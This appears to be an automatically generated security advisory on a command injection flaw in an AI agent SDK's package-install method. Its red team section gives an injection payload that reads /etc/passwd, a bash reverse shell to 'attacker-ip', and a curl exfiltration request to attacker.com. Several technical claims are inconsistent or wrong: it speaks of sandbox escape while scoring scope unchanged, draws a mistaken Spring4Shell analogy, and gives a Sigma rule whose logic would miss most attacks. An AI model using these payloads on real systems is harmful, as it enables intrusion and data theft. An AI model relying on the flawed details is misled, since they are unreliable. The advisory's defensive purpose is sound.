CVE-2026-16796

Executive Summary

CVE-2026-16796 is a High severity command injection vulnerability in the AWS Bedrock AgentCore Python SDK, affecting versions prior to 1.18.1. The flaw resides in the install_packages() method, which fails to properly neutralize argument delimiters in package name arguments. This allows a remote authenticated user to execute arbitrary commands within the Code Interpreter sandbox.

Business Impact: Organizations using AWS Bedrock AgentCore for AI/ML workflows are at risk. The likely attacker is a malicious insider or an external threat actor who has compromised valid AWS credentials. The vulnerability enables sandbox escape, potentially leading to data exfiltration, lateral movement within the AWS environment, and compromise of sensitive AI models and training data.

Urgency Assessment: Despite a CVSS score of 7.3 (High), the EPSS probability is 0.0%, indicating no observed exploitation in the wild as of the report date. However, the attack vector is network-based, requires only low privileges, and has high impact on confidentiality, integrity, and availability. The absence of a public PoC does not reduce the risk for organizations with exposed Bedrock AgentCore instances.

Key Facts:

• Vendor: AWS
• Affected Versions: All versions before 1.18.1
• Patch Status: Upgrade to version 1.18.1
• CISA KEV: Not listed

CVSS Breakdown & Threat Level

Qualitative Severity: High

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Decomposition:

• AV:N (Network): The vulnerability is exploitable remotely over the network via the Bedrock AgentCore API.
• AC:L (Low): No special conditions or race conditions are required; the attack is straightforward.
• PR:L (Low): The attacker must be authenticated to the Bedrock AgentCore service, but no elevated privileges are needed.
• UI:N (None): No user interaction is required; the attack is automated.
• S:U (Unchanged): The compromise does not affect other components beyond the Code Interpreter sandbox.
• C:H (High): Complete read access to sandbox files, environment variables, and potentially the host filesystem.
• I:H (High): Full write access to the sandbox, allowing modification of AI models or deployment of backdoors.
• A:H (High): Ability to crash the sandbox or disrupt AI inference operations.

EPSS Interpretation: The 0.0% EPSS probability indicates that as of 2026-07-24, there is no evidence of active exploitation in the wild. This is typical for newly published CVEs and does not imply the vulnerability is unexploitable.

Historical Comparison: This vulnerability is similar to CVE-2022-22965 (Spring4Shell) in that it involves improper input sanitization leading to command injection, but it is scoped to a specific SDK method rather than a core framework.

Technical Deep Dive & Attack Mechanics

Root Cause Analysis: The install_packages() method in the AWS Bedrock AgentCore Python SDK constructs a shell command to install Python packages within the Code Interpreter sandbox. The method accepts a list of package names and passes them directly to a shell execution function (e.g., subprocess.run or os.system) without sanitizing argument delimiters such as semicolons (;), pipes (|), or backticks (`).

Step-by-Step Exploitation:

1. Authentication: The attacker authenticates to the Bedrock AgentCore API using valid AWS credentials.
2. Crafting Payload: The attacker sends a request to the install_packages endpoint with a package name containing shell metacharacters, e.g., "numpy; cat /etc/passwd".
3. Command Execution: The SDK constructs a command like pip install numpy; cat /etc/passwd and executes it within the sandbox.
4. Sandbox Escape: The injected command runs with the privileges of the sandbox process, allowing the attacker to read files, execute arbitrary code, or establish persistence.

Attack Surface: The vulnerability is exposed via the Bedrock AgentCore API, typically accessible on port 443 (HTTPS). The install_packages method is part of the SDK's agent runtime interface.

Pre-conditions:

• Valid AWS credentials with permissions to invoke Bedrock AgentCore.
• Network access to the Bedrock AgentCore endpoint.
• The Code Interpreter sandbox must be enabled for the agent.

Why Standard Defenses Fail:

• WAF: Web Application Firewalls may not inspect the body of API requests for shell metacharacters if the endpoint is not explicitly protected.
• Input Validation: The SDK does not validate package names against a whitelist of allowed characters.
• Sandboxing: The Code Interpreter sandbox is designed to isolate code execution, but the vulnerability allows command injection before the sandbox can enforce restrictions.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

def install_packages(self, packages: List[str]):
    for pkg in packages:
        command = f"pip install {pkg}"
        subprocess.run(command, shell=True)

Patched Code (Pseudocode):

def install_packages(self, packages: List[str]):
    for pkg in packages:
        # Validate package name against allowed characters
        if not re.match(r'^[a-zA-Z0-9_\-\.]+$', pkg):
            raise ValueError(f"Invalid package name: {pkg}")
        command = ["pip", "install", pkg]
        subprocess.run(command, shell=False)

Patch Analysis:

• The fix introduces input validation using a regular expression that only allows alphanumeric characters, underscores, hyphens, and dots.
• The patch also changes from shell=True to shell=False, passing the command as a list to prevent shell injection entirely.
• Regression Considerations: The strict validation may reject legitimate package names that include special characters (e.g., python-dateutil is allowed, but numpy==1.21.0 would be rejected). Teams should test their package lists against the new validation.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-23T20:06:32.908Z
• Estimated Discovery: Likely discovered through internal security review or bug bounty program.
• Disclosure Process: AWS (CNA) coordinated the disclosure and released a patched version (1.18.1) concurrently with the CVE publication.
• Known Exploitation: No known active exploitation as of 2026-07-24.
• CISA KEV: Not listed.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

• Insider Threats: Malicious employees with legitimate AWS access.
• Nation-State Actors: APT groups targeting AI/ML infrastructure for espionage or sabotage.
• Ransomware Operators: To gain initial access to cloud environments.

Attack Campaign Context: No specific campaigns have been identified as of the report date.

Geographic Targeting: No geographic targeting patterns are known.

Industry Verticals Most at Risk:

• Technology (AI/ML startups)
• Financial Services (fraud detection models)
• Healthcare (medical AI diagnostics)
• Government (national security AI applications)

Connection to Similar Vulnerabilities: This is a classic command injection (CWE-88) in a cloud SDK, similar to vulnerabilities found in other cloud provider SDKs (e.g., Azure SDK, Google Cloud SDK).

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: Docker container running AWS Bedrock AgentCore SDK version 1.17.0.
2. Prerequisites: AWS credentials with bedrock:InvokeAgent permission.
3. Network: The container should be accessible on port 443.

Exploitation Walkthrough:

1. Authenticate to the Bedrock AgentCore API.
2. Send a POST request to /agents/{agentId}/install-packages with the following JSON body:

   {
     "packages": ["numpy; cat /etc/passwd"]
   }
   

3. The SDK executes pip install numpy; cat /etc/passwd within the sandbox.
4. The output of cat /etc/passwd is returned in the API response.

Expected Output: The API response will contain the contents of /etc/passwd from the sandbox environment.

Post-Exploitation:

• Establish a reverse shell using bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'.
• Exfiltrate environment variables containing AWS credentials.
• Use the sandbox as a pivot point to scan internal AWS metadata endpoints.

Blue Team Section

Detection:

• Monitor API logs for install_packages requests containing shell metacharacters (;, |, `, $()).
• Alert on unusual package names that do not match standard PyPI naming conventions.
• Monitor for processes spawned by the Bedrock AgentCore SDK that execute unexpected commands (e.g., cat, bash, curl).

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

• HTTP POST requests to /agents/*/install-packages with body containing shell metacharacters.
• Outbound connections from the Bedrock AgentCore sandbox to external IPs on ports 80, 443, or 4444.

HTTP Request Patterns:

POST /agents/agent-123/install-packages HTTP/1.1
Content-Type: application/json

{"packages": ["numpy; curl http://attacker.com/exfil"]}

File System Artifacts:

• Unexpected files in /tmp/ directory of the sandbox (e.g., /tmp/exploit.sh).
• Modified .bashrc or .profile files in the sandbox user's home directory.

Process Execution Anomalies:

• pip process spawning bash, sh, curl, or wget.
• Multiple pip install commands executed in rapid succession.

Log Entries:

• CloudTrail logs showing InvokeAgent API calls with unusual parameters.
• Application logs containing error messages like Invalid package name: numpy; cat /etc/passwd (if validation is partially implemented).

STIX-like IOC List:

Detection Engineering

YARA Rule

rule CVE-2026-16796_Detection {
    meta:
        description = "Detects exploitation of CVE-2026-16796 in AWS Bedrock AgentCore SDK"
        author = "Valters IT Hub"
        date = "2026-07-24"
        reference = "https://www.valtersit.com/cve/cve-2026-16796"
    strings:
        $s1 = "install_packages" ascii wide nocase
        $s2 = /packages.*[;|`$()]/ ascii wide
    condition:
        all of them
}

Sigma Rule (SIEM)

title: CVE-2026-16796 AWS Bedrock AgentCore Exploitation Detection
id: 83a59652-16f4-4bb5-93ac-a55b989e59ad
status: experimental
description: Detects exploitation attempts targeting CVE-2026-16796 in AWS Bedrock AgentCore SDK
author: Valters IT Hub
date: 2026-07-24
references:
    - https://www.valtersit.com/cve/cve-2026-16796
logsource:
    category: application
    product: aws_bedrock_agentcore
detection:
    selection:
        eventName: "InvokeAgent"
        requestParameters.packages|contains|all:
            - ";"
            - "|"
            - "`"
    condition: selection
falsepositives:
    - Legitimate package names containing special characters (e.g., "python-dateutil")
level: high

Suricata IDS Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-16796 AWS Bedrock AgentCore Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/agents/"; http_uri; content:"install-packages"; http_uri; pcre:"/packages.*[;|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Elastic (EQL) Query

sequence by process.entity_id
  [process where event.action == "exec" and process.name == "pip" and process.args == "install"]
  [process where event.action == "exec" and process.parent.name == "pip" and process.args regex~ ".*[;|`$()].*"]

Splunk SPL Query

index=aws_bedrock_agentcore
| search eventName="InvokeAgent"
| regex requestParameters.packages="[;|`$()]"
| table _time, user, src_ip, requestParameters.packages

Wazuh Rule

<group name="aws_bedrock_agentcore,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="eventName">InvokeAgent</field>
    <regex field="requestParameters.packages">[;|`$()]</regex>
    <description>CVE-2026-16796: AWS Bedrock AgentCore command injection attempt detected</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

1. Patch: Upgrade to AWS Bedrock AgentCore SDK version 1.18.1 or later.

   pip install --upgrade aws-bedrock-agentcore-sdk
   

2. Compensating Control: If patching is not immediately possible, disable the install_packages functionality by revoking IAM permissions for bedrock:InvokeAgent on agents that do not require package installation.
3. Network Mitigation: Deploy a WAF rule to block requests containing shell metacharacters in the packages parameter.
4. Authentication Hardening: Enforce multi-factor authentication (MFA) for all AWS users with Bedrock AgentCore permissions.

Short-term (1-7 days)

1. Configuration Hardening: Implement a custom Lambda function to validate package names against a whitelist before forwarding to Bedrock AgentCore.
2. Monitoring: Enable CloudTrail logging for all Bedrock API calls and set up alerts for suspicious install_packages requests.
3. Vulnerability Scanning: Run the following command to confirm the patched version:

   pip show aws-bedrock-agentcore-sdk | grep Version
   

Long-term

1. Architecture Changes: Implement a dedicated package installation service that runs in a fully isolated environment with no network access.
2. Security Controls: Adopt a "least privilege" model for IAM roles used by Bedrock agents.
3. Developer Training: Educate developers on secure coding practices, specifically regarding shell injection and input validation.

Validation

• Confirm the SDK version is 1.18.1 or later.
• Test the install_packages method with a malicious payload (e.g., "numpy; echo test") and verify it is rejected with an error.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-16796
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-16796
• Vendor advisory: See AWS Security Bulletin
• OSV: https://osv.dev/vulnerability/CVE-2026-16796 (if applicable)
• Related CWE: https://cwe.mitre.org/data/definitions/88.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-24 | https://www.valtersit.com/cve/cve-2026-16796